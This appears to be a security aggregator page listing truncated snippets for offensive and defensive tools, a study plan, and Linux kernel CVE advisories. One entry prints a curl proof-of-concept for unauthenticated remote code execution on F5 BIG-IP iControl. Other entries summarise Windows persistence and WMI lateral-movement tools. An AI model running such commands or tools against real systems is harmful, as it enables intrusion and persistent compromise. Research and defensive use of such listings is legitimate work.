90DaysOfCyberSecurity

90-Day Cybersecurity Study Plan 📚 Table of Contents Introduction Goals and Audience Daily Breakdown Day 1-7: Network+ Concepts Day 8-14: Security+ Concepts Day 15-28: Linux Tutorials Day 29-42: Python Day 43-56: Traffic Analysis Day 57-63: Git Day 64-70: ELK Day 71-77: GCP or AWS or Azure Day...

objection

📱objection - Runtime Mobile Exploration objection is a runtime mobile exploration toolkit, powered by Frida, built to help you assess the security posture of your mobile applications, without needing a jailbreak. Supports both iOS and Android. Inspect and interact with container file systems...

hget

hget This project is my personal project to learn golang to build something useful. Build Status : Install root@kitploit: $ go get -d github.com/huydx/hget $ cd $GOPATH/src/github.com/huydx/hget $ make clean install Binary file will be built at ./bin/hget, you can copy to /usr/bin or /usr/local/b...

NorkNork

NorkNork - Tool for identifying Empire persistence payloads https://www.n00py.io/2017/01/removing-backdoors-powershell-empire-edition/ ABOUT: This script was designed to identify Powershell Empire persistence payloads on Windows systems. It currently supports checks for these persistence methods:...

attack-attention

有效攻击基础模型的注意力可有效扰乱下游任务 论文 "Attacking Attention of Foundation Models Effectively Disrupts Downstream Tasks" 的官方 PyTorch 实现，已被 CVPR 2025 的 ADVML （对抗性机器学习在计算机视觉中的应用：基础模型 + X）研讨会接收。 有效攻击基础模型的注意力可有效扰乱下游任务" Hondamunige Prasanna Silva、Federico Becattini 和 Lorenzo Seidenari 摘要：...

TaskHound

Windows 特権スケジュールタスク発見ツール （楽しみと利益のため） TaskHound は、特権アカウントと保存された資格情報で実行される Windows スケジュールタスクを検索します。SMB 経由でタスクを列挙し、XML を解析し、BloodHound 統合を通じて高価値の攻撃機会を特定します。 背景や詳細な説明については、関連するブログ記事をご覧ください: Part 1 および Part 2。 主な機能 クイックスタートbash Install git clone https://github.com/1r0BIT/TaskHound.git cd TaskHound...

ssh-audit

ssh-audit...

CVE-2021-22986-Poc

CVE-2021-22986-Poc これはBIGIP iControlの認証なしRCEのPoCです。 POC : curl -ksu admin:redacted https://192.168.123.134/mgmt/tm/access/bundle-install-tasks -d '"filePath":"id"' | jq . curl -ksu : https://192.168.123.134/mgmt/shared/authn/login -d...

SharpStay

SharpStay - .NET 永続化 ビルド コンパイルするには Visual Studio プロジェクトを開き、リリース用にコンパイルします。 オプション 昇格した権限のレジストリキー 昇格した権限の UserInit レジストリキー 昇格した権限のスケジュールタスク 昇格した権限のサービス作成 昇格した権限の WMI イベントサブスクリプション 非昇格 InitMprLogonScript レジストリキー 非昇格スケジュールタスク COM ハンドラーハイジャック 非昇格ジャンクションフォルダ その他 スケジュールタスクアクション追加 その他 スタートアップディレクトリ その他 新...

WMIExec

WMIexec WMIプロトコルを介してコマンド実行を行うさまざまな方法を実装したPythonスクリプトのセット。 ブログ記事 https://whiteknightlabs.com/2023/06/26/navigating-stealthy-wmi-lateral-movement/ 使用方法 wmiexecscheduledjob.py リモートWMIインスタンスに認証し、スケジュールタスクを介してコマンドを実行するPythonスクリプトです。 スクリプトの実行方法： root@kitploit: python3 wmiexecscheduledjob.py -i -u -p -c...

cve-2025-5781_FreePBX

cve-2025-5781FreePBX 2025年8月，FreePBX Endpoint 模块被披露存在一个严重漏洞。CVE-2025–57819 允许未经身份验证的攻击者利用 Endpoint 模块中的 SQL 注入漏洞，并通过数据库操作与计划任务执行的连锁攻击，实现远程代码执行。...

CVE-2026-89464

A flaw was found in the Linux kernel's twl4030charger driver. When the driver's remove function is called, it fails to properly cancel pending worker tasks. This oversight allows a worker to attempt to access memory that has already been deallocated, leading to a use-after-free vulnerability. A...

AZL-100887 CVE-2026-89756 affecting package kernel 6.6.150.1-1

In the Linux kernel, the following vulnerability has been resolved: mm/migrate: report RCU-tasks quiescent states in migratepagesbatch migratepagesbatch unmaps each folio before moving it, and every unmap runs the mmunotifier invalidate callbacks. On KVM hosts trytomigrate ends up in...

DEBIAN-CVE-2026-89756

In the Linux kernel, the following vulnerability has been resolved: mm/migrate: report RCU-tasks quiescent states in migratepagesbatch migratepagesbatch unmaps each folio before moving it, and every unmap runs the mmunotifier invalidate callbacks. On KVM hosts trytomigrate ends up in...

DEBIAN-CVE-2026-89753

In the Linux kernel, the following vulnerability has been resolved: mm/vmscan: report RCU-tasks quiescent states in shrinklruvec I am seeing some rcutasks stalls in the Meta fleet during reclaim. INFO: rcutasks detected stalls on tasks: 0000000088620d09: .. nvcsw: 6735/6735 holdout: 1 idlecpu: -1...

CVE-2026-89756

In the Linux kernel, the following vulnerability has been resolved: mm/migrate: report RCU-tasks quiescent states in migratepagesbatch migratepagesbatch unmaps each folio before moving it, and every unmap runs the mmunotifier invalidate callbacks. On KVM hosts trytomigrate ends up in...

AZL-100839 CVE-2026-89753 affecting package kernel 6.6.150.1-1

In the Linux kernel, the following vulnerability has been resolved: mm/vmscan: report RCU-tasks quiescent states in shrinklruvec I am seeing some rcutasks stalls in the Meta fleet during reclaim. INFO: rcutasks detected stalls on tasks: 0000000088620d09: .. nvcsw: 6735/6735 holdout: 1 idlecpu: -1...

CVE-2026-89753

In the Linux kernel, the following vulnerability has been resolved: mm/vmscan: report RCU-tasks quiescent states in shrinklruvec I am seeing some rcutasks stalls in the Meta fleet during reclaim. INFO: rcutasks detected stalls on tasks: 0000000088620d09: .. nvcsw: 6735/6735 holdout: 1 idlecpu: -1...

CVE-2026-89756

CVE-2026-89756 is a Linux kernel flaw in migrate_pages_batch() (mm/migrate). On PREEMPTION kernels, the loop's cond_resched() call is a no-op, and involuntary preemption does not constitute a Tasks-RCU quiescent state . When large page-migration batches run on KVM hosts , the expensive tdp_mmu_za...

EUVD-2026-76668

In the Linux kernel, the following vulnerability has been resolved: mm/migrate: report RCU-tasks quiescent states in migratepagesbatch migratepagesbatch unmaps each folio before moving it, and every unmap runs the mmunotifier invalidate callbacks. On KVM hosts trytomigrate ends up in...